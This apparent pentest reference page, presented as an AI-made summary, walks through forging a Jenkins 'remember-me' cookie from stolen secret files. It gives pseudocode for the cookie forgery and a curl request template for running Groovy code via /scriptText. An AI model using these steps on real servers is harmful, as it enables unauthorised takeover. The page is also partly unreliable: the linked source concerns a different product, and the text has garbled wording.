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Jenkins Arbitrary File Read to RCE via "Remember Me"

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In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:

Attack Prerequisites

  • Feature Requirement: "Remember me" must be enabled (default setting).

  • Access Levels: Attacker needs Overall/Read permissions.

  • Secret Access: Ability to read both binary and textual content from key files.

Detailed Exploitation Process

Step 1: Data Collection

User Information Retrieval

  • Access user configuration and secrets from $JENKINS_HOME/users/*.xml for each user to gather:

    • Username

    • User seed

    • Timestamp

    • Password hash

Secret Key Extraction

  • Extract cryptographic keys used for signing the cookie:

    • Secret Key: $JENKINS_HOME/secret.key

    • Master Key: $JENKINS_HOME/secrets/master.key

    • MAC Key File: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Step 2: Cookie Forging

Token Preparation

  • Calculate Token Expiry Time:

    tokenExpiryTime = currentServerTimeInMillis() + 3600000  // Adds one hour to current time

  • Concatenate Data for Token:

    token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC Key Decryption

  • Decrypt MAC Key File:

    key = toAes128Key(masterKey)  // Convert master key to AES128 key format
decrypted = AES.decrypt(macFile, key)  // Decrypt the .mac file
if not decrypted.hasSuffix("::::MAGIC::::")
    return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signature Computation

  • Compute HMAC SHA256:

    mac = HmacSHA256(token, macKey)  // Compute HMAC using the token and MAC key
tokenSignature = bytesToHexString(mac)  // Convert the MAC to a hexadecimal string

Cookie Encoding

  • Generate Final Cookie:

    cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // Base64 encode the cookie data

Step 3: Code Execution

Session Authentication

  • Fetch CSRF and Session Tokens:

    • Make a request to /crumbIssuer/api/json to obtain Jenkins-Crumb.

    • Capture JSESSIONID from the response, which will be used in conjunction with the remember-me cookie.

Command Execution Request

  • Send a POST Request with Groovy Script:

    curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"

    • Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.

The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.

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